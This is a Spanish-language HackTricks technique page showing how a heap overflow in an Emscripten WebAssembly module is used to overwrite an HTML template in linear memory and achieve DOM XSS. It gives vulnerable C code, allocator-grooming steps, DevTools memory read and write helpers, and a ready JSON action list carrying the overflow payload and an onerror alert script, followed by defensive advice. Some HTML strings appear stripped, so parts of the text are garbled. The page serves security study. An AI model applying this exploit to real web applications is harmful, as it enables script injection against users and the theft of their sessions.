%.*s
WebAssembly linear memory corruption to DOM XSS (template overwrite)
Reading time: 8 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Esta técnica muestra cómo un bug de corrupción de memoria dentro de un módulo WebAssembly (WASM) compilado con Emscripten puede convertirse en un DOM XSS fiable incluso cuando la entrada está sanitizada. El punto de apoyo es corromper constantes escribibles en la WASM linear memory (p. ej., plantillas de formato HTML) en lugar de atacar la cadena de origen sanitizada.
Key idea: En el modelo WebAssembly, el código reside en páginas ejecutables no escribibles, pero los datos del módulo (heap/stack/globals/"constants") viven en una única linear memory plana (páginas de 64KB) que el módulo puede escribir. Si código C/C++ con bugs escribe fuera de límites, puedes sobrescribir objetos adyacentes e incluso cadenas constantes incrustadas en la linear memory. Cuando dicha constante se usa más tarde para construir HTML para insertarlo vía un DOM sink, puedes convertir entrada sanitizada en JavaScript ejecutable.
Threat model and preconditions
- La app web usa Emscripten glue (Module.cwrap) para invocar un módulo WASM.
- El estado de la aplicación reside en WASM linear memory (por ejemplo, C structs con pointers/lengths a user buffers).
- El sanitizador de entrada codifica metacaracteres antes del almacenamiento, pero la renderización posterior construye HTML usando una format string almacenada en WASM linear memory.
- Existe un primitive de corrupción de linear memory (p. ej., heap overflow, UAF, o memcpy sin comprobaciones).
Minimal vulnerable data model (example)
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
Patrón lógico vulnerable
- addMsg(): asigna un nuevo buffer con el tamaño de la entrada sanitizada y añade un msg a s.mess, duplicando la capacidad con realloc cuando sea necesario.
- editMsg(): vuelve a sanitizar y copia con memcpy los nuevos bytes en el buffer existente sin asegurarse de que la nueva longitud ≤ la asignación anterior → intra‑linear‑memory heap overflow.
- populateMsgHTML(): formatea el texto sanitizado con un stub embebido como "
" que reside en linear memory. El HTML resultante llega a un DOM sink (p. ej., innerHTML).
Allocator grooming with realloc()
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
- Envía suficientes mensajes para exceder la capacidad inicial. Tras el crecimiento, realloc() suele colocar s->mess inmediatamente después del último user buffer en linear memory.
- Desborda el último mensaje mediante editMsg() para corromper campos dentro de s->mess (p. ej., overwrite msg_data pointers) → reescritura arbitraria de punteros dentro de linear memory para datos que luego se renderizan.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- La sanitización protege la entrada, no los sinks. Encuentra el format stub usado por populateMsgHTML(), p. ej.:
- "
" → change to "%.*s
"
- Localiza el stub de forma determinista escaneando linear memory; es una cadena de bytes plana dentro de Module.HEAPU8.
- Tras sobrescribir el stub, el contenido del mensaje sanitizado se convierte en el JavaScript handler para onerror, así que añadir un nuevo mensaje con texto como alert(1337) produce
y se ejecuta inmediatamente en el DOM.
Chrome DevTools workflow (Emscripten glue)
- Interrumpe en la primera llamada a Module.cwrap en el JS glue y entra en el wasm call site para capturar los pointer arguments (numeric offsets into linear memory).
- Usa vistas tipadas como Module.HEAPU8 para leer/escribir WASM memory desde la consola.
- Snippets de ayuda:
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
Receta de explotación de extremo a extremo
- Groom: añade N mensajes pequeños para provocar realloc(). Asegúrate de que s->mess esté adyacente a un user buffer.
- Overflow: llama a editMsg() en el último mensaje con un payload más largo para sobrescribir una entrada en s->mess, estableciendo msg_data del message 0 para que apunte a (stub_addr + 1). El +1 omite el '<' inicial para mantener la alineación de etiquetas intacta durante la siguiente edición.
- Template rewrite: edita message 0 para que sus bytes sobrescriban la template con: "img src=1 onerror=%.*s ".
- Trigger XSS: añade un nuevo mensaje cuyo contenido sanitizado sea JavaScript, p. ej., alert(1337). Al renderizar, se emite
y se ejecuta.
Lista de acciones de ejemplo para serializar y colocar en ?s= (Base64-encode con btoa antes de usar)
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
Por qué funciona este bypass
- WASM impide la ejecución de código desde la memoria lineal, pero los datos constantes dentro de la memoria lineal son escribibles si la lógica del programa es defectuosa.
- El sanitizador solo protege la cadena de origen; al corromper el sink (la plantilla HTML), la entrada sanitizada se convierte en el valor del handler JS y se ejecuta cuando se inserta en el DOM.
- La adyacencia provocada por realloc() junto con memcpy sin comprobaciones en los flujos de edición permite la corrupción de punteros para redirigir escrituras hacia direcciones elegidas por el atacante dentro de la memoria lineal.
Generalización y otras superficies de ataque
- Cualquier plantilla HTML en memoria, esqueleto JSON o patrón de URL embebido en la memoria lineal puede ser objetivo para cambiar cómo se interpreta la información sanitizada aguas abajo.
- Otros fallos comunes en WASM: escrituras/lecturas fuera de límites en la memoria lineal, UAF en objetos del heap, uso indebido de function-table con índices de llamada indirecta sin comprobar, y desajustes en la glue JS↔WASM.
Medidas defensivas
- En rutas de edición, verifica que la nueva longitud ≤ la capacidad; redimensiona los buffers antes de copiar (realloc a new_len) o usa APIs con límite de tamaño (snprintf/strlcpy) y lleva control de la capacidad.
- Mantén las plantillas inmutables fuera de la memoria lineal escribible o verifica su integridad antes de usarlas.
- Trata los límites JS↔WASM como no confiables: valida rangos/longitudes de punteros, fuzzea las interfaces exportadas y limita el crecimiento de la memoria.
- Sanitiza en el sink: evita construir HTML en WASM; prefiere APIs DOM seguras sobre plantillas al estilo innerHTML.
- Evita confiar en estado embebido en URLs para flujos privilegiados.
Referencias
- Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox
- V8: Wasm Compilation Pipeline
- V8: Liftoff (baseline compiler)
- Debugging WebAssembly in Chrome DevTools (YouTube)
- SSD: Intro to Chrome exploitation (WASM edition)
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.